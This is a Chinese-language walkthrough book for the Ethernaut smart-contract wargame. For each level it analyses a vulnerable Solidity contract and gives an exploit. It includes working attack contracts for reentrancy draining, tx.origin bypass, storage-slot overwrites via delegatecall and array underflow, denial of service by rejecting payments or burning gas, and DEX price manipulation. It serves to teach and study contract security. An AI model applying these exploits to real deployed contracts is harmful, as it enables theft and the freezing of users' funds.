Ethernue Development Book

Ethernaut Book cover

The full code of what we’ll build is stored in a separate repository:

https://github.com/yuhuajing/ethernaut-book

You can read this book at:

https://yuhuajing.github.io/ethernaut-book

Running locally

To run the book locally:

  1. Install Rust.
  2. Install mdBook:
    $ cargo install mdbook
    $ cargo install mdbook-katex
    
  3. Clone the repo:
    $ git clone https://github.com/yuhuajing/ethernaut-book
    $ cd ethernaut-book
    
  4. Run:
    $ mdbook serve --open
    
  5. Visit http://localhost:3000/ (or whatever URL the previous command outputs!)

Fallback

Reference

Fallback

Sol

fallback/receive

目标

  1. 成为合约Owner
  2. 转走全部合约Ether

分析

合约一共有3个写函数(更新当前合约参数的函数):

  • contribute()
  • withdraw()
  • receive()

contribute()

    function contribute() public payable {
        // 要求交易金额小于 0.001 ether
        require(msg.value < 0.001 ether);
        // 增加贡献值
        contributions[msg.sender] += msg.value;
        // 贡献值最大的sender,成为新的Owner
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }
  1. 这是个payable函数,支持接收ether,任何地址都可以调用函数,提供贡献值

withdraw()

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }
  1. Owner 账户提款合约的全部Ether

receive()

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
  1. receive() 函数作为接收Ether的回调函数,当合约接收Ether是会被调用
  2. 只要转账金额不为0 并且 之前有过贡献值的话,owner的地址就会更新为当前交易的Sender
  3. fallback() 函数作为解析calldata的兜底函数,如果当前合约不存在任何的函数选择器Funcselector,处理逻辑就会落到fallback函数,因此可以实现代理合约的逻辑

实现步骤

  1. 部署合约
  2. 调用contribute()函数,转入 0.0005 ETH,初始化 contributions[msg.sender]
  3. 不通过合约函数,直接对合约转账任意金额,触发 receiver 函数,更新合约Owner
  4. 调用withdraw,转移全部资产

Fallout

Reference

Fallout

sol

目标

  1. 成为合约Owner

分析

Up to Solidity 0.4.21

在solidity 0.4.21之前的版本,构造函数和合约同名:

pragma solidity <=0.4.21;

contract Oldie {

    uint randomvar;
    function Oldie(uint _randomvar) public {     // Constructor
        randomvar = _randomvar;
    }
}

Above to Solidity ^0.4.21

在solidity ^0.4.21以及之后的版本,有专门初始化合约参数的构造函数 constructor() :

    constructor (uint _randomvar) public {    // New Constructor
        randomvar = _randomvar;
    }

合约问题

Unspelled 构造函数

  1. 合约版本已经 ^0.6.0,应付使用constructor(){}作为构造函数
  2. 合约在高版本中使用了已经弃用的构造函数,并且函数拼写错误以及没有任何权限控制
  3. 更新storage参数应该具有严格的权限管控,合约对于Owner地址的更新没有提供任何限制,任何地址都可以call fal1out()函数更改owner地址。
    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

实现步骤

  1. 部署合约
  2. 直接调用 fal1out() 函数,更新全局Owner

CoinFlip

Reference

CoinFlip

Sol

目标

  1. 在10次之内猜出当前合约中硬币的正反面

分析

block.number

    function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
        revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
        consecutiveWins++;
        return true;
    } else {
        consecutiveWins = 0;
        return false;
    }
}
  1. 在猜正反环节
    1. 首先计算当前区块高度的哈希值:uint256(blockhash(block.number - 1))
    2. 哈希值除以固定值,得到预期的正反值
    3. 和输入的猜测值对比
  2. block.number是递增并且全网公开的值

实现步骤

  1. 部署合约
  2. 链下获取当前的区块高度后,直接在链下按照合约逻辑计算正确答案
  3. 计算出答案后,设置高gasPrice抢先交易
  4. 持续 2,3 步骤,直到抢先成功赢得Game
    function winGame() public payable {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        if (lastHash == blockValue) {
            revert();
        }
        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        cf.flip(side);
        Assert.equal(cf.consecutiveWins(), 1, "Win once");
    }

Telephone

Reference

Telephone

Sol

目标

  1. 成为合约Owner

分析

changeOwner()

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
  1. 函数changeOwner()用于更新owner,需要满足 tx.origin != msg.sender
  2. 合约互相调用: Contracts Call
    1. Call: call重新初始化虚拟机,将A的全部数据状态打包发送到B,更新的是B的数据参数,同时交易的发送方更新为A
    2. Contracts Call
    3. DelegateCall: delegateCall将B的逻辑代码整个拷贝到A,按照B的逻辑更新A的参数
    4. DeelegateCall不会初始化新的虚拟机,仍然在当前交易虚拟机中执行合约逻辑
    5. Contracts Call
  3. 如果需要满足 tx.origin != msg.sender, 只需要通过合约之间 call 的方式更改当前交易的执行环境
contract AtTelephone {
    function attack(Telephone telephone, address _owner) public {
        telephone.changeOwner(_owner);
    }
}

实现步骤

  1. 部署Telephone合约, 部署攻击合约 AtTelephone
  2. 调用攻击合约的 attack()函数: EOA --> AtTelephone ----> attack()函数 AtTelephone --call-- > Telephone ----> changeOwner() 函数
  3. 对于攻击合约 AtTelephonemsg.sender == EPA
  4. 对于目标合约 Telephonemsg.sender == AtTelephone
  5. 对于两个合约: tx.origin == EOA
  6. 满足目标合约的判断条件 tx.origin != msg.sender,更新目标合约 Owner = EOA

Token

Reference

Token

Sol

目标

  1. 获取足够多的Token余额

分析

Up to Solidity 0.8.0

  1. 在solidity 0.8.0 之前的版本,数学计算需要采用 safeMath避免 数值 上下溢出。
  2. 向下溢出: uint(-1) = uint256.Max
  3. 向上溢出: uint256.max + 1 = 0

transfer()

    function transfer(address _to, uint256 _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}
  1. 合约版本 0.6.0, 存在数值上下溢出的风险,但是合约并未使用 safeMath
  2. transfer()函数在用户转账时,并未进行 balance判断,而是直接进入余额的增减
  3. 因此,transfer()函数中存在 balance为0 的用户的数值下溢问题

实现步骤

  1. 部署Token合约
  2. balance为0的发起者地址像任意地址转账,发起者的Token余额向下溢出,实现余额激增

Delegate

Reference

Delegate

Delegate.sol

目标

  1. 成为合约Owner

分析

DelegateCall

  1. 当前合约作为A,A DelegateCall B的底层逻辑:
    1. A 把B的合约代码整个复制到A的执行环境中
    2. A收到的msg.data按照B合约逻辑执行
    3. A合约的参数会按照B合约函数逻辑进行更新
    4. 注意,A按照B的逻辑更新A合约参数是按照slot顺序,和参数名称无关
  2. Delagation合约参数的存储顺序
    address public owner; //slot0
    Delegate delegate;//slot1
  1. Delegate逻辑合约参数的存储顺序
    address public owner; //slot0
  1. Delegate逻辑合约用于更新slot0的函数
contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender; //更新slot0参数
    }
}

实现步骤

  1. 部署Delegate合约,部署 Delegation合约
  2. Delegation合约直接发起交易,calldata数据为pwn()函数选择器
  3. 交易被delegatecallDelegate合约,按照函数选择器跳转到pwn()函数
  4. Delegation合约按照 pwn()函数更新slot0数据,owner被更新为 msg.sender

Force

Reference

Force

Force.sol

SeleDestruct

目标

  1. 让Force合约大于0

分析

  1. 合约作为空合约
    1. 没有payable修饰的constructor构造函数,无法在合约部署过程中发送余额
    2. 合约没有receive()/payable修饰的fallback()函数,无法正常接收余额
  2. 强制销毁当前合约并强制转账当前合约余额的字节码:selfdestruct
selfdestruct(_addr); // 销毁当前合约并将当前合约余额发送到提供的地址

销毁合约

contract destroyRobot {
    constructor() payable {}

    function killself(Force force) public {
        selfdestruct(payable(address(force)));
    }

    receive() external payable {}
}
  1. 允许在合约部署过程以及征程接收Ether
  2. 定义killself函数,实现自毁并强制转移资产

实现步骤

  1. 、编译部署Force合约,部署 destroyRobot合约
  2. Force 合约 余额为0
  3. destroyRobot余额为0。
  4. 转账任意Ether到destroyRobot合约,destroyRobot余额不为0
  5. 执行 destroyRobot合约的killself()函数注册销毁,并将余额全部转到 Force合约
  6. Force合约强制接收 destroyRobot的余额

Vault

Reference

Vault

Vault.sol

Slot存储

GolangSlot

目标

  1. 解锁当前合约

分析

unlock

  1. unlock()函数用于解锁当前合约
  2. unlock()需要 password 参数
    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
  1. 合约内部的参数存储:
    bool public locked;
    bytes32 private password;
  1. password合约参数修饰符为private,表明隐藏数据,在该合约中不可直接读取
    1. 合约数据存储上链后即公开,已经按照合约定义的参数顺序存储在当前合约storage
    2. 按照slot顺序,可以读出任何定义在合约中的参数值

Slot storage

Contracts Call Contracts Call Contracts Call

King

Reference

King

King.sol

目标

  1. 让游戏无法进行

分析

transfer()

  1. transfer()/send()函数,都可以实现资金转移,并且只会传递2300用于转账的gas,避免接收方用剩余gas做额外的操作
  2. transfer()转账失败的话,整笔交易回滚
  3. send()转账会返回 bool 类型标识,转账失败的话,返回false,但是不会回滚交易
  4. call()转账可以指定gas,返回bool和data,并且转账失败的话不会回滚整笔交易

receive()

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }
  1. King 合约类似庞氏骗局,在场中的会获取新进场的资金
  2. payable(king).transfer(msg.value);,资金从合约转到 旧King
  3. Sender成为新King,等待别人以更高资金接盘
  4. 转账方式采用 transfer(),转账失败会导致交易回滚

接收资产

  1. EOA地址可以接收/转账任意资产
  2. 合约地址接收Ether需要有以下任一函数
    1. receive() external payable { }
    2. payable修饰的fallback(): fallback() external payable { }

攻击实现

  1. 准备一个攻击合约,合约可以在部署阶段接收Ether,但是部署过后不能正常接受Ether
  2. 攻击合约向目标合约转账,成为目标合约的新King
  3. 由于攻击合约不存在接收资产的默认函数,因此任何转账操作都会失败
  4. 目标合约中任何更高转账的操作都会回滚失败,因为 攻击合约作为 旧King无法接收新King的资金
contract AttackKing {
   constructor() payable {}

   function attack(King _king, uint256 value) public payable {
      payable(address(_king)).call{value: value}("");
   }
}

实现步骤

  1. 部署AttackKing合约,在部署阶段存入Ether
  2. 调用AttackKing合约的attack()函数,底层call King合约
  3. 此时,King合约下的king地址更新为AttackKing合约
  4. 此后,任意地址的转账行为都会失败,因为 作为旧kingAttackKing合约不支持转账操作

Reentrance

Reference

Reentrance

Reentrance.sol

目标

  1. 实施重入攻击,转走合约全部Ether

分析

Reentrancy

重入攻击表示攻击合约可以递归的调用目标合约的函数

  1. 需要有一个外部的call, call会新建一个新的虚拟机环境,重新读取的目标合约的状态数据
  2. 存在一些状态的更新,状态更新发生在外部call之后,导致每次call的执行环境都会读取未发生更新的旧数据

receive()

  1. receive()函数作为接受Ether的被动执行函数,一旦有外部账户转账给合约地址,当前交易会 call 转账合约的 receive或fallback函数
  2. call()转账会将目前剩余的gas全部发送到新的执行环境,允许新执行环境中进行一些外部操作
  3. transfer()/send()仅发送2300gas用于转账,新的执行环境没有对于gas执行额外操作

withdraw()

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result, ) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }
  1. 退款函数中存在外部转账的call()方法
  2. 转账地址的余额变化发生在call之后
  3. 如果当前退款账户是合约地址的话,执行call退款会触发退款合约的receive()函数

攻击流程

  1. 准备一个退款合约,合约作为sender执行donate函数
    function attack() public payable {
        ret.donate{value: amount}(address(this));
        ret.withdraw(amount);
    }
  1. 准备receive()函数,内部回调攻击合约,实现重入攻击
    receive() external payable {
        if (address(ret).balance >= amount) {
            ret.withdraw(amount);
        }
    }

实现步骤

  1. 部署攻击合约 AtReentrance,部署目标合约 Reentrance
  2. 往攻击合约AtReentrance,存入Ether
  3. 调用攻击合约AtReentranceattack()函数进行存款,在目标合约Reentrance中的 balances 不为空
  4. 攻击合约存款后,立马进行退款。并且每次目标合约Reentrance的退款函数会涉及call转账,因此触发攻击合约的receive()函数
  5. receive()函数中,攻击合约AtReentrance重新 call 目标合约 Reentrance的退款函数withdraw()
  6. 在目标合约 Reentrance中,由于余额更新在外部call之后,因此所有新的虚拟机执行环境中仍然保留 balance 余额
  7. 攻击合约持续多次退款,掏空目标合约余额

Elevator

Reference

Elevator

Elevator.sol

目标

  1. 构建一个Building合约,实现电梯永远不会到顶

分析

goto()

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
  1. goto()函数实现电梯上下行
  2. !building.isLastFloor(_floor),通过判断电梯是否到顶
    1. 为了实现永不到顶,此处的判断应该返回false
    2. 进入 if 分支后:
      1. 电梯上/下行,修改 floor 的楼层数
      2. 通过 building.isLastFloor(floor);再次获取是否到达顶层
  3. if条件和当前是否到顶是同此独立的外部 call 获取参数。按照分支判断,要求第一次查询参数返回false,第二次返回true。表明当前已经到顶,但是下次仍然可以上/下行
次数结果
Onefalse
Twotrue
Threefalse
奇数次false
偶数次true
4. 通过bool flag全局变量实现次数的控制
        if (!flag) {
            flag = true;
            return false;
        } else {
            flag = false;
            return true;
        }

攻击合约

    function attack(uint256 _floor) external {
        elevator.goTo(_floor);
    }

    function isLastFloor(uint256) public returns (bool) {
        if (!flag) {
            flag = true;
            return false;
        } else {
            flag = false;
            return true;
        }
    }

attack()

  1. attack()函数底层call Elevator合约
  2. Elevator合约中,反调攻击合约的 isLastFloor() 函数,判断楼层和到顶情况

实现步骤

  1. 部署攻击合约 AttackBuilding,部署目标合约 Elevator
  2. 调用攻击合约 AttackBuildingattack() 函数,实现电梯任意上/下行楼层,并且当次到顶

Privacy

Reference

Privacy

Privacy.sol

Slot存储

GolangSlot

目标

  1. 找出链上Private数据

slot存储

整数

整数数据从低位开始存储,拼凑的参数进入高位 slot-uint

string

string 从高位存储,地位存储长度 slot-string

structs and arrays

结构体类型和固定大小的数组类型,内部的参数都会按照全局参数顺序存储在的slot栈中

Dynamic Arrays

  1. 动态数组具体数据存储的起始位置为:keccak256(p),p为当前slot的index,内部存储数组size
  2. 动态数组的数据存储按照拼凑规则,不足128bit的会拼接在同一个slot中存储
  3. 二元数组的存储起点:keccak256(keccak256(p) + i) + floor(j / floor(256 / 24)) slot-array

Mappings

  1. 对于key-value的mapping,按照key类型和slot位置计算存储位置的slot:keccak256(h(k) . p)

Examples

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.0 <0.9.0;


contract C {
struct S { uint16 a; uint16 b; uint256 c; }
uint x; // slot0
mapping(uint => mapping(uint => S)) data; // slot1
}
  1. 找出 data[4][9].c的存储位置
  2. data的slot顺序为 slot1
  3. data[4]的存储slot为 keccak256(uint256(4) . uint256(1))
  4. data[4][9]的存储slot为 keccak256(uint256(9) . keccak256(uint256(4) . uint256(1))
  5. 结构体内参数按照参数类型存储,其中 a,b 存储在同个slot, c存储在下一个slot
  6. data[4][9].c的存储slot为 keccak256(uint256(9) . keccak256(uint256(4) . uint256(1)) + 1

实现步骤

  1. golang读取Slot数据

GatekeeperOne

Reference

GatekeeperOne

GateKeeperOne.sol

目标

  1. 找出目标合约的正确答案

合约规则

sender

msg.sender != tx.origin
  1. 合约之间的call会改变当前EVM执行环境,当前交易的sender更新为caller,和交易的源头发起者不一致

BitChange

uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
uint32(uint64(_gateKey)) != uint64(_gateKey),
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
require(gasleft() % 8191 == 0, "Invalid gas");
  1. solidity中从低位取数据,例如 uint32 var=0x12345678, uint16(var) = 0x5678
  2. 低位64位中:
    1. 再从低位取得的32位:
      1. 和64位数字不同
      2. 和低位的16位数字不同
  3. 也就是 64位数据和32位数据不同,32位数据和16位数据不同
  4. 交易发起原始地址的后16位 和 当前 key的后32位保持一致
  5. 执行环境的剩余gasleft是 8191的倍数

分析

  1. 问题1需要实现攻击合约,通过底层call调用的方式达成第一个条件
  2. 问题2中最多位数数据是64位,通过 获取 当前交易源头地址的 最后64位数据,通过处理后达成条件2
    1. Key的后32位和 tx.origin 的后16位相同:Key = 源数据 & 0x????????0000FFFF, ?任意
    2. Key的32位和16位相同:源数据 & 0x????????0000FFFF, ?任意
    3. Key的64位和32位不同: 源数据 & 0x????????0000FFFF, ? 任一为1即可
  3. 源数据 & 0xFF0000FF0000FFFF
  4. bytes8(uint64(tx.origin) & 0xFF0000FF0000FFFF

合约问题

  1. 约束条件直接写在合约,没有地址权限控制以及随机值管控
  2. 明文规则可以直接在链下迭代计算得出正确答案

GateKeeperTwo

Reference

GateKeeperTwo

GateKeeperTwo.sol

Ethereum-Creation-Code

目标

  1. 更新目标合约的参数

Ethereum smart contract creation code

codeCopy

codecopy从内存中取出数据

  1. destOffset: 内存中读取数据的起始位置
  2. offset: 待拷贝数据的起始位置
  3. size: 拷贝数据的长度

codecopy

Introduction-creation code

<init code> <runtime code> <constructor parameters>

  1. 合约部署时由三部分组成: EVMinit code开始执行部署工作(create 字节码),部署过程初始化构造器参数并且将 runtime code存储在链上
pragma solidity 0.8.17;// optimizer: 200 runs
contract Minimal {
    // 空 constructor()函数不影响合约部署的字节码,存在或不存在 constructor()函数,字节码都一样
    constructor() payable {

    }
}

部署 bytesCode 0x6080604052603f8060116000396000f3fe + 6080604052600080fdfea2646970667358221220a4c95008952415576a18240f5049a47507e1658565a8ec11a634c25a9aa17cf164736f6c63430008110033

initcode-playground

  1. initcode中执行codecopy,栈内数据自栈顶向下依次存在值:00,11,3f,3f。表明从内存 0index开始,间隔 0x11=17开始读取 0x3f=63bytes数据
  2. codecopyruntimeCode拷贝到内存中存储
  3. return关键字将内存数据返回到EVM,作为合约数据存储上链

Non-payable constructor contract

0x6080604052348015600f57600080fd5b50603f80601d6000396000f3fe|6080604052600080fdfea2646970667358221220a55361e0436e97c9dd60ac5f5a5d96e6a000f6229fd071b0bc9ab6d5f7fe2fe064736f6c63430008110033

包含payable 修饰符的合约: 0x6080604052603f8060116000396000f3fe+6080604052600080fdfea2646970667358221220a4c95008952415576a18240f5049a47507e1658565a8ec11a634c25a9aa17cf164736f6c63430008110033

  1. 没有payable修饰的合约部署代码中的initcode size较大,因为需要进行value的判断
  2. <init bytecode> <extra 12 byte sequence (payable case)> <return runtime bytecode> <runtime bytecode>
// check the amount of wei that was sent
CALLVALUE
DUP1
ISZERO

// Jump to 0x0f (contract deployment step)
PUSH1 0x0f
JUMPI

// revert if wei sent is greater than 0
PUSH1 0x00
DUP1
REVERT

RuntimeCode

  1. 在空合约中,runtimeCode不为空,需要包含当前合约编译环境等源数据
  2. runtimeTime包含 constructor()构造函数中的初始化参数(如果存在的话,会encode到最后)
pragma solidity 0.8.17;
contract Runtime {
    address lastSender;
    constructor () payable {}

    receive() external payable {
        lastSender = msg.sender;
    }
}

存在函数方法的合约的部署字节码:0x6080604052605a8060116000396000f3fe+608060405236601f57600080546001600160a01b03191633908117909155005b600080fdfe+a2646970667358221220f866e014c98dd6fc08f86a965441844c3b59b2562df6b35744699f67785c2a0c64736f6c63430008110033

  1. <initCode> + <Runtimecode>(part1_runtimeCode + part2_Metadata)
  2. runtimeCode负责处理 msg.data, 遍历字节码匹配合约函数进行处理。示例不存在任何函数以及fallback()函数,如果用于发起的交易中msg.data不为空的话,会导致交易revert.

Constructor with parameters

  1. 构造函数的数据用于初始化合约函数,在合约代码存储上链后执行。
  2. 存在参数的构造函数,在部署时会检查合约参数是否时预期参数类型、长度等
  3. 构造函数参数encoderuntimeCode之后
pragma solidity 0.8.17;
contract MinimalLogic {
	uint256 private x;
	constructor (uint256 _x) payable {
		x =_x;
	}
}

合约部署字节码: 0x608060405260405160893803806089833981016040819052601e916025565b600055603d565b600060208284031215603657600080fd5b5051919050565b603f80604a6000396000f3fe+ 6080604052600080fdfea26469706673582212209e3f4fd87589fae7c00e7284adf0a1a3f48c201e7bbaed31395c5304a13054a764736f6c63430008110033 + 000000000000000000000000000000000000000000000000000000000000007b

  1. 部署环节先检查构造函数的参数是否符合预期
  2. 检查通过后,更新合约storage参数
  3. runtimecode拷贝的内存并存储上链

合约分析

  1. msg.sender != tx.origin ,需要实现一个辅助攻击合约,通过合约call,更新当前交易的 msg.sender
  2. extcodesize(caller()) ==0 要求发起交易的合约的runtimeCode为空
    1. 合约部署过程会先执行 构造函数中的逻辑,然后才会返回runtimecode并存储上链
    2. 因此如果远程call的合约逻辑放在 constructor() 函数中执行, 就可以满足这个条件
  3. 对于异或操作 A XOR B = C 等于A XOR C = B, 所以 key 值等于 A XOR C
contract AtGatekeeper {
   bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this)))))  ^ type(uint64).max);
   constructor() {
      GatekeeperTwo two = GatekeeperTwo(0xxxxxxxxx);
      two.enter(gateKey);
   }
   function anyfunc()public {}
   function anyfunc2()public {}
}

NaughtCoin

Reference

NaughtCoin

NaughtCoin.sol

目标

  1. 将Owner用户的资产在封锁期内转走

分析

transfer()

    function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
        super.transfer(_to, _value);
    }
  1. 合约 override 重写了 transfer()函数,不允许 player用户在封锁期内转移资产

approve()

  1. ERC20 支持授权和 transferFrom() 授权转账操作

合约设计思路

  1. msg.sender == player的时候,需要满足 lock 条件
  2. 因此,需要 msg.sender != player
  3. approval()授权操作允许 在 2 的基础上同时可以操作 player 的资产
  4. 因此,部署者只需要将资产授权给第三方地址:第三方地址不满足 modifier lock条件,同时可以转账player的Token

Preservation

Reference

Preservation

Preservation.sol

目标

  1. 合约提供两个不同时区时间,通过自定义的时区示例合约,成功抢占当前合约的 Owner

分析

  1. telephone类似
  2. 当前合约 delegateCall 远程合约,使用远程合约的逻辑更新当前合约内部的参数
  3. 当前合约内部更新自己内部参数时,按照远程 delegateCall 的合约 slot 栈顺序进行更新

Owner

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;
  1. address 数据类型占据完整的 slot,Preservation 合约中在 slot2 中存储 owner
  2. 因此,Preservation 合约执行 delegatecall 更新自身参数的时候,实例合约应该更新 slot2 数据
// Simple library contract to set the time
contract Attack {
    address public t1;
    address public t2;
    address public owner;
     uint256 storedTime;

    function setTime(uint256 _time) public {
        owner = msg.sender;
        storedTime = _time;
    }
}
  1. Preservation 合约将 Attack 合约作为 instance 实例,直接 delegateCall setTime(uint256 _time) 函数
  2. Attack 合约更新 slot2,slot3 数据
  3. 因此,Preservationslot2 值按照 Attack 合约逻辑更新为 msg.sender, 将 slot3 的值更新为内部传输的参数 _time.

Recovery

Reference

Recovery

Recovery.sol

Calculate_Sc

目标

根据 nonce 重新计算 new 关键字创建的合约地址

分析

  1. A_{ct}=Keccak_{256}(A,N)[0..160]
  2. create 关键字通过msg.sender和nonce值生成并部署新的合约地址
  3. A_{cr}=Keccak256( 0xff, A, salt, \\Keccak256(initialisation\_code))[0..160]
  4. create2 关键字允许自定义 salt 值和 合约code, 用于生成新的合约地址。因此,相同的 salt和合约code 可以部署出相同的合约地址

new

    function generateToken(string memory _name, uint256 _initialSupply) public {
        new SimpleToken(_name, msg.sender, _initialSupply);
    }
  1. new 关键字通过 create 创建新的合约地址
  2. 需要实现代码,找出根据 合约地址和nonce 计算出的合约实例地址
contract FindLostSC {
    function addressFrom(address _origin, uint256 _nonce) public {
        bytes memory data;
        if (_nonce == 0x00)
            data = abi.encodePacked(
                bytes1(0xd6),
                bytes1(0x94),
                _origin,
                bytes1(0x80)
            );
        else if (_nonce <= 0x7f)
            data = abi.encodePacked(
                bytes1(0xd6),
                bytes1(0x94),
                _origin,
                uint8(_nonce)
            );
        else if (_nonce <= 0xff)
            data = abi.encodePacked(
                bytes1(0xd7),
                bytes1(0x94),
                _origin,
                bytes1(0x81),
                uint8(_nonce)
            );
        else if (_nonce <= 0xffff)
            data = abi.encodePacked(
                bytes1(0xd8),
                bytes1(0x94),
                _origin,
                bytes1(0x82),
                uint16(_nonce)
            );
        else if (_nonce <= 0xffffff)
            data = abi.encodePacked(
                bytes1(0xd9),
                bytes1(0x94),
                _origin,
                bytes1(0x83),
                uint24(_nonce)
            );
        else
            data = abi.encodePacked(
                bytes1(0xda),
                bytes1(0x94),
                _origin,
                bytes1(0x84),
                uint32(_nonce)
            );
        address target = address(uint160(uint256(keccak256(data))));
        SimpleToken st = SimpleToken(payable(target));
        st.destroy(payable(msg.sender));
    }
}
  1. 根据编码规则和参数,找出失落的合约实例,直接调用 destroy() 函数,强制转移合约余额

AlienCodeX

Reference

AlienCodeX

AlienCodeX.sol

目标

  1. 抢占当前合约的 Owner

分析

  1. privacy类似
  2. 当前合约不存在 call 或者delegateCall的外部调用,唯一更新的storage参数时 bytes32的非定长数据
  3. 当前合约的编译版本为 ^0.5.0,数据存在上下溢出的风险

非定长数组存储

  1. 动态数组具体数据存储的起始位置为:keccak256(p) ,p 为当前 slot 的 index , slotp内部存储数组size

Owner

    function revise(uint256 i, bytes32 _content) public contacted {
    codex[i] = _content;
}
  1. 通过指定index更新array数据
  2. owner存储在slot0
  3. 数据type(uint256).max上溢的值为0
  4. 动态数组的更新规则:
indexslot
0keccak256(1) + 1
1keccak256(1) + 2
2keccak256(1) + 3
type(uint256).max - 1 - keccak256(1)type(uint256).max
type(uint256).max - 1 - keccak256(1) + 10

Attack

contract Attack {
    AlienCodex codex;
    constructor(AlienCodex _codex)public {
        codex = _codex;
    }

    function attack() public {
        codex.make_contact();
        codex.retract();
        uint256 index = ((2**256) - 1) - uint256(keccak256(abi.encode(1))) + 1;
        bytes32 txsender = bytes32(uint256(uint160(msg.sender)));
        codex.revise(index, txsender);
    }
}
  1. 通过计算,在 index = type(uint256).max - 1 - keccak256(1) + 1 插入的值会被存储在 slot0
  2. call AlienCodex 合约的 retract() 函数,此时数组 index 下溢,动态数组的长度初始化为最大
  3. 计算目标 index和owner
  4. call AlienCodex 合约的 revise() 函数,在特定 index 插入值,根据动态数组的计算规则,此时会更新 slot0 的数据

Denial

Reference

Denial

Denial.sol

目标

作为当前合约的 partner, 让 owner 地址无法成功退款

分析

withdraw

    function withdraw() public {
    uint256 amountToSend = address(this).balance / 100;
    // perform a call without checking return
    // The recipient can revert, the owner will still get their share
    partner.call{value: amountToSend}("");
    // payable(partner).transfer(amountToSend);
    payable(owner).transfer(amountToSend);
    // keep track of last withdrawal time
    timeLastWithdrawn = block.timestamp;
    withdrawPartnerBalances[partner] += amountToSend;
}
  1. partner 通过 call() 退款,call发送当前EV吗环境全部剩余的 gas
  2. owner 通过 transfer() 退款,transfer()/send() 仅发送 2300 gas, transfer() 在转账失败时会 revert 整笔交易

Denial

  1. 作为 partner,在 owner 退款时会通过 call 接收转账
  2. call() 转账方式会将 caller 的全部 gas 发送到新的 EVM 执行环境
  3. 作为 partner,可以在 fallback() 函数中消耗完全部的 gas ,此时,整笔交易会因为没有多余 gas 失败
contract Attack {
    bytes32 tt;
    fallback() external payable {
        while (gasleft() > 0) {
            tt = keccak256(abi.encodePacked(msg.sender, tt));
        }
    }
}
  1. Attack 合约的 fallback() 函数一直执行 keccak256 操作消耗 gas ,直至消耗完全部 gas

Shop

Reference

Shop

Shop.sol

目标

用少于商品价格的钱购买商品

分析

view

interface Buyer {
    function price() external view returns (uint256);
}
  1. view 修饰符表示当前函数不会更新 storage参数,因此不能按照 bool flag的方式实现多次调用的不同结果
    function buy() public {
        Buyer _buyer = Buyer(msg.sender);
        require(_buyer.price() >= price, "Lower price");
        require(!isSold, "Sold");
        isSold = true;
        price = _buyer.price();
    }
  1. isSold 参数的更新在下一次的函数调用植物i四年,因此可以通过 isSold 参数判断当前的调用
    function price() external  view returns (uint256) {
    if (!shop.isSold()) {
        return _price;
    } else {
        return _price / 20;
    }
}

Dex

Reference

Dex

Dex.sol

目标

  1. 玩家持有TokenA,TokenB各10个
  2. Dex持有TokenA,TokenB各100个
  3. 榨干Dex池子中的 TokenATokenB

分析

price

    function getSwapPrice(
    address from,
    address to,
    uint256 amount
) public view returns (uint256) {
    return ((amount * IERC20(to).balanceOf(address(this))) /
        IERC20(from).balanceOf(address(this)));
}
  1. 在兑换Token时,依靠Dex池子中TokwnA/TokenB的数量锚定

  2. 问题在于,每次交易完成后,都会更新当前池子的Token数量

    playerTokenAplayerTokenBDexTokenADexTokenB
    1010100100
    02011090
    24086110
    03011080
    41069110
    06511045
    11020090
  3. 按照上述兑换表格,最后会清空 Dex 池子中的 TokenA,攻击者的 (TokenA,TokenB) 的余额从(10,10)更新为(110,20)。

DexTwo

Reference

DexTwo

DexTwo.sol

目标

  1. 玩家持有TokenA,TokenB各10个
  2. Dex持有TokenA,TokenB各100个
  3. 榨干Dex池子中的 TokenATokenB

分析

price

    function getSwapPrice(
    address from,
    address to,
    uint256 amount
) public view returns (uint256) {
    return ((amount * IERC20(to).balanceOf(address(this))) /
        IERC20(from).balanceOf(address(this)));
}
  1. 在兑换Token时,通过 from/to 地址的Token数量锚定价格

  2. from/to 地址不可控

    playerTokenAplayerTokenBplayerTokenCDexTokenADexTokenBDexTokenC
    1010300100100100
    110102000100200
    110110000300
  3. 按照上述兑换表格,最后会清空 Dex 池子中的 TokenA,攻击者的 (TokenA,TokenB) 的余额从(10,10)更新为(110,110)

  4. 攻击swap1: 通过TokenC 兑换 TokenA

    function swap1() public {
        dex.swap(address(tokenC), address(tokenA), 100);
    }
  1. 攻击swap2: 通过TokenC 兑换 TokenB
    function swap2() public {
        dex.swap(address(tokenC), address(tokenB), 200);
    }

PuzzleWallet

Reference

PuzzleWallet

PuzzleWallet.sol

目标

成为代理合约的 admin 账户

分析

slot

  1. proxy-admin 地址和 wallet-maxBalance 存储在 slot0
  2. proxy-pendingAdmin 地址和 wallet-owner 存储在 slot1
